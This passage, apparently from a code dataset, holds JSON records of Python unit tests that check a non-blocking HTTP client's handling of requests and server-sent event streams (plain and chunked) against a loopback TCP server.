#self.assertEqual(bytes(response.body), b'{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}')\n self.assertEqual(bytes(response.body), b'')\n self.assertEqual(response.data, {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'})\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.headers.items(), [('content-length', '122'),\n ('content-type', 'application/json'),\n ('date', 'Thu, 30 Apr 2015 19:37:17 GMT'),\n ('server', 'IoBook.local')])\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestEcho", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 }, { "content": " def testNonBlockingRequestStream(self):\n \"\"\"\n Test NonBlocking Http client with SSE streaming server\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStream.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/stream'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /stream HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'retry: 1000\\n\\n',\n b'data: START\\n\\n',\n b'data: 1\\n\\n',\n b'data: 2\\n\\n',\n b'data: 3\\n\\n',\n b'data: 4\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertEqual(response.eventSource.leid, None)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '1'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '2'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStream", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 192 }, { "content": " def testNonBlockingRequestStreamChunked(self):\n \"\"\"\n Test NonBlocking Http client with SSE streaming server with transfer encoding (chunked)\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/stream'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /stream HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /stream HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 20:11:35 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'9\\r\\ndata: 1\\n\\n\\r\\n',\n b'9\\r\\ndata: 2\\n\\n\\r\\n',\n b'9\\r\\ndata: 3\\n\\n\\r\\n',\n b'9\\r\\ndata: 4\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertEqual(response.eventSource.leid, None)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '1'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': None, 'name': '', 'data': '2'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 345 }, { "content": " def testNonBlockingRequestStreamFancy(self):\n \"\"\"\n Test NonBlocking Http client to SSE server\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancy.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&multiply=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&multiply=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&multiply=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'retry: 1000\\n\\n',\n b'id: 0\\ndata: START\\n\\n',\n b'id: 1\\ndata: 1\\ndata: 2\\n\\n',\n b'id: 2\\ndata: 3\\ndata: 4\\n\\n',\n b'id: 3\\ndata: 5\\ndata: 6\\n\\n',\n b'id: 4\\ndata: 7\\ndata: 8\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': '1\\n2'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': '3\\n4'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancy", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 498 }, { "content": " def testNonBlockingRequestStreamFancyChunked(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&multiply=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&multiply=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&multiply=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 22:11:53 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs, method=method)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'6\\r\\nid: 0\\n\\r\\n',\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'6\\r\\nid: 1\\n\\r\\n',\n b'8\\r\\ndata: 1\\n\\r\\n',\n b'8\\r\\ndata: 2\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 2\\n\\r\\n',\n b'8\\r\\ndata: 3\\n\\r\\n',\n b'8\\r\\ndata: 4\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 3\\n\\r\\n',\n b'8\\r\\ndata: 5\\n\\r\\n',\n b'8\\r\\ndata: 6\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 4\\n\\r\\n8\\r\\ndata: 7\\n\\r\\n8\\r\\ndata: 8\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': '1\\n2'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': '3\\n4'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 652 }, { "content": " def testNonBlockingRequestStreamFancyJson(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyJson.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&jsonify=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&jsonify=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&jsonify=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs,\n method=method,\n dictable=True,\n )\n\n lines = [\n b'retry: 1000\\n\\n',\n b'id: 0\\ndata: START\\n\\n',\n b'id: 1\\ndata: {\"count\":1}\\n\\n',\n b'id: 2\\n',\n b'data: {\"count\":2}\\n\\n',\n b'id: 3\\ndata: {\"count\":3}\\n\\n',\n b'id: 4\\ndata: {\"count\":4}\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': {'count': 1}})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': {'count': 2}})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyJson", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 818 }, { "content": " def testNonBlockingRequestStreamFancyJsonChunked(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyJsonChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.accepted and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = 